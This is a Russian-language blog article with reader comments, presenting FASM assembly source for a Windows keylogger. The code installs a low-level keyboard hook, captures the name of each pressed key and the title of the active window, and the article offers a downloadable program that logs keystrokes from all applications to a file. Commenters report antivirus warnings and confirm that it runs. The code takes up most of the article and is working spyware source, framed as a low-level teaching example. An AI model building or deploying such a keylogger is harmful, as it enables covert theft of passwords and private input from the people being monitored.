Кейлоггер на Ассемблере
Кейлоггер на Ассемблере
Кейлоггеры - класс программ, которые перехватывают нажатия клавиш и сохраняют их в сухое прохладное место для последующего анализа. В зависимости от задачи, кейлоггеры могут относиться как к вредоносным программам, так и распространяться на вполне законных основаниях. Хороший пример условно полезного кейлоггера - автопереключатель раскладки Punto Switcher. Сегодня будем писать на Ассемблере простенький кейлоггер. До настоящей боевой малвары этому примеру как до Китая ползком, это, скорее, пример низкоуровневой работы с клавиатурой. Но в принципе, если хорошенько доработать код напильником, то получится полноценный кейлоггер, работающий в юзермоде и перехватывающий нажатия клавиш во всех приложениях.
Для работы нам понадобится всего одна структура, которой нет в инклудах FASM. Это не объекты, так что километры описаний не понадобятся.
Code (Assembler) : Убрать нумерацию
- struct KBDLLHOOKSTRUCT
- vkCode dd ?
- scanCode dd ?
- flags dd ?
- time dd ?
- dwExtraInfo dd ?
- ends
Code (Assembler) : Убрать нумерацию
- .wminitdialog:
- invoke GetModuleHandle,0
- mov [hInstance],eax
- ; Установить низкоуровневый перехватчик клавиатуры
- invoke SetWindowsHookEx,WH_KEYBOARD_LL,\
- LowLevelKeyboardProc,[hInstance],NULL
- mov [hKeyHook],eax
- ...
- ...
- ...
- .wmclose:
- ; Снять хук
- invoke UnhookWindowsHookEx,[hKeyHook]
Code (Assembler) : Убрать нумерацию
- proc LowLevelKeyboardProc nCode:DWORD, wParam:DWORD, lParam:DWORD
- pusha
- cmp [nCode],HC_ACTION
- jne .loc_ret
- ; Нажата клавиша?
- cmp [wParam],WM_SYSKEYDOWN
- je .process_key
- cmp [wParam],WM_KEYDOWN
- jne .loc_ret
- .process_key:
- ; Указатель на KBDLLHOOKSTRUCT
- mov ebx,[lParam]
- ; Получить название нажатой клавиши
- mov eax,1
- mov edx,[ebx+KBDLLHOOKSTRUCT.scanCode]
- shl edx,16
- add eax,edx
- mov edx,[ebx+KBDLLHOOKSTRUCT.flags]
- shl edx,24
- add eax,edx
- invoke GetKeyNameText,eax,kname,500h
- ; Получить заголовок активного окна
- invoke GetForegroundWindow
- invoke GetWindowText,eax,wname,500h
- ; wname - заголовок активного окна
- ; kname - название нажатой клавиши
- .loc_ret:
- popa
- ; Пропустить событие дальше
- invoke CallNextHookEx,[hKeyHook],[nCode],[wParam],[lParam]
- ret
- endp
В приложении пример программы с исходным текстом, которая перехватывает нажатия клавиш во всех приложениях и сохраняет их в файл log.txt. Не исключаю, что некоторые антивирусы отнесутся к программе с подозрением, это нормально, учитывая ее назначение.
Просмотров: 322 | Комментариев: 7
Метки: Assembler
Комментарии
Отзывы посетителей сайта о статье
Дед
(12.09.2024 в 00:12):
На Windows XP Pro SP3 программа отлично работает. Спасибо!
ManHunter
(06.09.2024 в 09:44):
Если кому действительно надо, то скачают
Petya
(03.09.2024 в 18:49):
У меня скачалось нормально. Но если заранее понятно, что будут вопросы - ИМХО, залеплять паролем не глядя.
ManHunter
(03.09.2024 в 17:35):
Я специально предупредил об этом в статье.
Илья
(03.09.2024 в 17:34):
Браузеры с ума посходили со своими вирусами. Скачать архив пришлось с бубном в руках:)
ManHunter
(02.09.2024 в 23:13):
Zeroes, поправил, спасибо! Проверил под Win10x64
Zeroes
(02.09.2024 в 23:04):
под win10 падает
Добавить комментарий
Заполните форму для добавления комментария